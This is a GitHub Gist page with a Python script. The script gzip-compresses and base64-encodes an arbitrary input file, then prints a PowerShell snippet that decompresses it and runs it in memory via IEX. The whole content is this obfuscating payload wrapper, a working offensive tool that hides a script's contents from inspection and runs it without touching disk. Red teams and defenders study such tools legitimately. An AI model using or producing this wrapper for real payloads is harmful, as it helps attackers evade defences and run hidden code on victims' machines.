Created
January 28, 2018 22:36
-
-
Save mgeeky/e30ceecc2082a11b99c7b24b42bd77fc to your computer and use it in GitHub Desktop.
Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import io | |
import sys | |
import gzip | |
import base64 | |
def main(argv): | |
if len(argv) < 2: | |
print('Usage: ./compressedPowershell.py <input>') | |
sys.exit(-1) | |
out = io.BytesIO() | |
encoded = '' | |
with open(argv[1], 'rb') as f: | |
inp = f.read() | |
with gzip.GzipFile(fileobj = out, mode = 'w') as fo: | |
fo.write(inp) | |
encoded = base64.b64encode(out.getvalue()) | |
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}")); | |
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode()) | |
print(powershell) | |
if __name__ == '__main__': | |
main(sys.argv) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment